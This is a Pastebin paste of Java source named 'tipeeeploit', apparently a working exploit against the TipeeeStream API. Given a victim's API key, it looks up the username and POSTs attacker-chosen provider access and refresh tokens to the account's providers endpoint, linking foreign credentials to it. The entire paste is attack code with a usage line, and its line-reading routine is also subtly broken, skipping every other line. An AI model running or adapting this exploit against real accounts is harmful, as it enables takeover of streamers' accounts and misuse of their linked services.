Advertisement
TNT_Block

tipeeeploit

Jan 6th, 2020
205
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.11 KB | None | 0 0
  1. package de.cryptonicdev.tipeeeploit.main;
  2.  
  3. import java.io.BufferedReader;
  4. import java.io.DataOutputStream;
  5. import java.io.IOException;
  6. import java.io.InputStream;
  7. import java.io.InputStreamReader;
  8. import java.net.HttpURLConnection;
  9. import java.net.MalformedURLException;
  10. import java.net.URL;
  11.  
  12. import com.google.gson.JsonObject;
  13. import com.google.gson.JsonParser;
  14.  
  15. public class TipeeePloit {
  16.  
  17. private static String apiKeyResolver = "https://api.tipeeestream.com/v1.0/me?apiKey=";
  18.  
  19. public static void main(String[] args) {
  20. if (args.length != 4) {
  21. System.out.println("Usage: <provider> <providerAccessToken> <providerRefreshToken> <apiKey>");
  22. return;
  23. }
  24.  
  25. String provider = args[0];
  26. String providerAccessToken = args[1];
  27. String providerRefreshToken = args[2];
  28. String apiKey = args[3];
  29.  
  30. JsonObject apiKeyResponse = new JsonParser().parse(requestText(apiKeyResolver + apiKey)).getAsJsonObject();
  31. String username = apiKeyResponse.get("username").getAsString();
  32. System.out.println("Username: " + username);
  33. String payload = "{\"provider\":\"" + provider + "\",\"access_token\":\"" + providerAccessToken
  34. + "\",\"refresh_token\":\"" + providerRefreshToken + "\",\"origin\":\"managementSecurity\"}";
  35.  
  36. String payloadResponse = executePost(
  37. "https://www.tipeeestream.com/v2.0/users/" + username + "/providers?apiKey=" + apiKey, payload);
  38. System.out.println("Success: " + payloadResponse);
  39. }
  40.  
  41. private static String requestText(String url) {
  42. try {
  43. URL url1 = new URL(url);
  44. BufferedReader in = new BufferedReader(new InputStreamReader(url1.openStream()));
  45. String str;
  46. StringBuilder builder = new StringBuilder();
  47. while ((str = in.readLine()) != null) {
  48. str = in.readLine().toString();
  49. builder.append(str);
  50. }
  51. in.close();
  52. return builder.toString();
  53. } catch (MalformedURLException e) {
  54. } catch (IOException e) {
  55. }
  56. return "";
  57. }
  58.  
  59. private static String executePost(String targetURL, String urlParameters) {
  60. HttpURLConnection connection = null;
  61.  
  62. try {
  63. URL url = new URL(targetURL);
  64. connection = (HttpURLConnection) url.openConnection();
  65. connection.setRequestMethod("POST");
  66. connection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
  67.  
  68. connection.setRequestProperty("Content-Length", Integer.toString(urlParameters.getBytes().length));
  69. connection.setRequestProperty("Content-Language", "en-US");
  70.  
  71. connection.setUseCaches(false);
  72. connection.setDoOutput(true);
  73.  
  74. DataOutputStream wr = new DataOutputStream(connection.getOutputStream());
  75. wr.writeBytes(urlParameters);
  76. wr.close();
  77.  
  78. InputStream is = connection.getInputStream();
  79. BufferedReader rd = new BufferedReader(new InputStreamReader(is));
  80. StringBuilder response = new StringBuilder();
  81. String line;
  82. while ((line = rd.readLine()) != null) {
  83. response.append(line);
  84. response.append('\r');
  85. }
  86. rd.close();
  87. return response.toString();
  88. } catch (Exception e) {
  89. e.printStackTrace();
  90. return "";
  91. } finally {
  92. if (connection != null) {
  93. connection.disconnect();
  94. }
  95. }
  96. }
  97.  
  98. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement